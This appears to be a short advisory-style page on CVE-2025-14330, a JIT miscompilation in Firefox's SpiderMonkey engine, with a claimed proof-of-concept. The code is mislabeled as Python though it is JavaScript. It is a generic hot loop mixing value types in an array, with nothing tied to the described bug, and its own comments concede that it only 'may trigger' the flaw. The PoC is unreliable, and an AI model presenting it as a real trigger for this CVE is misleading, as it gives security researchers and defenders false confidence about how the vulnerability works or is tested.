JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 146, Firefox ESR 140.6, Thunderbird 146, and Thunderbird 140.6.
The following code is for security research and authorized testing only.
python
// CVE-2025-14330 PoC - JIT Miscompilation Trigger
// This PoC demonstrates triggering JIT miscompilation in SpiderMonkey
// Note: This is a simplified proof-of-concept for demonstration purposes
function triggerJITMiscompilation() {
// Force JIT compilation by creating a hot loop
let arr = new Array(100);
// Type confusion pattern that may trigger JIT compiler bug
for (let i = 0; i < 100000; i++) {
// Multiple type transitions to confuse JIT optimizer
arr[0] = i; // Integer
arr[1] = 3.14; // Float
arr[2] = 'string'; // String
arr[3] = null; // Null
// Nested function calls to stress JIT compilation
function innerFunc(x) {
return x + 1;
}
// Polymorphic access patterns
let result = innerFunc(arr[i % 4]);
// Force deoptimization and recompilation
if (i === 99999) {
console.log(result);
}
}
return arr;
}
// Trigger the vulnerability
try {
triggerJITMiscompilation();
console.log('JIT compilation triggered');
} catch (e) {
console.error('Error:', e);
}
// Note: Actual exploitation requires specific conditions and browser version
// This PoC is for educational and security research purposes only